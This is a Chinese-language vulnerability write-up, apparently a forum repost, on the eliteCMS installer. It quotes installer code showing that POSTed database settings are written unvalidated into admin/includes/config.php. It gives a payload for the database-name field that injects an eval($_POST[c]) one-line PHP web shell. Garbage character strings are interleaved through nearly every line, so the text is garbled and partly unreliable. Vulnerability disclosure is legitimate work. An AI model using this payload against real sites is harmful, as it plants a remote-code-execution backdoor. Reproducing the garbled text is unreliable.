eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
, b g8 [! m: ~' H. b/ e2 M. O0 R" [7 y) B3 X0 o8 H9 j' {
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
* ]* J! C0 X1 O9 Z) c我们来看代码:2 V7 p: `& z8 h5 ~ V1 C% k( K
5 L/ r/ F6 e2 N8 c0 z% E/ u! S...6 y& q4 k0 O, ?0 E
elseif ($_GET['step'] == "4") {$ m' s# X( l. \9 k7 t7 x E
$file = "../admin/includes/config.php";
4 a; B& v" F, c0 d0 n* z; c $write = "<?php\n";7 z. I& }+ G9 |9 l! y
$write .= "/**\n";
# }9 q7 V' V$ Y9 k0 J $write .= "*\n";. s; W6 i" u! V- t) M/ i
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";( z1 g; b3 [9 _8 [. u7 s
...略...
( S( _& ` c ^- l9 H6 y $write .= "*\n";
! Z" W. u( |: }/ |. { ^+ k $write .= "*/\n";2 l! g) z) I5 D: X
$write .= "\n";4 F& |5 X5 @! p9 U9 }4 q' D! G% L' ], \1 S
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
- l( r* ~3 C5 N* b $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
& h) B( g5 C! [% ?: z: B3 V $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";: |: G9 ?; q) l/ P: {
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
$ i2 s4 N @+ @. c. y% f' a $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
( j H3 J0 n( \' {4 R! ^. S $write .= "if (!\$connection) {\n";/ U A$ g+ ]( `6 x* u
$write .= " die(\"Database connection failed\" .mysql_error());\n";
8 z8 Y7 \( b: J, C4 W% X! t $write .= " \n";/ L) {; T5 f, |/ m; ?, X8 J
$write .= "} \n";
& h% Y( V& H2 f- C2 _3 S: D! z $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
9 x7 Q: j' v5 t% g$ I$ _% p M $write .= "if (!\$db_select) {\n";. i$ ]& J" T) H! ^- c
$write .= " die(\"Database select failed\" .mysql_error());\n";# ~5 h8 i7 x* z& @* P6 @- N6 x( O& z
$write .= " \n";
2 u" g9 ?5 N6 K% w2 b $write .= "} \n";2 R& B. d! Q, O( A q- @' ^
$write .= "?>\n";( n, Q9 h" F. j! K4 Y$ ]
; T- V. r1 O }- I6 ~3 r5 E $writer = fopen($file, 'w');
- a" N# }& Y" S- M9 f6 U: d3 q R...
0 ^% H. A8 J" z+ z: p8 F
6 k% s3 Y, ?* ^: v在看代码:7 f9 M: G/ B9 m& s
" E0 S' O0 k$ O( G& A, y$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];8 e. {" `+ W# [( t. Y+ ` U
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];" b0 O6 x* |8 U0 ]: | {
$_SESSION['DB_USER'] = $_POST['DB_USER'];
" L# Q. j$ a3 M" Z& A6 Q1 a: [0 S$_SESSION['DB_PASS'] = $_POST['DB_PASS'];/ k7 j, @' f, V" U0 |
' w; ]$ K6 ~1 ~( s6 d% y
取值未作任何验证
9 ~. @* {/ n9 L3 d; X如果将数据库名POST数据:2 d7 G. L' h( H( x% Y+ l9 g
, U! C" C& q- d; A; J/ K2 [* _
"?><?php eval($_POST[c]);?><?php9 U7 q& { Q- L: X( [
# I/ {7 F$ i1 K5 {! L% B6 v$ K
将导致一句话后门写入/admin/includes/config.php
7 S! B b! T, T4 P! r* L |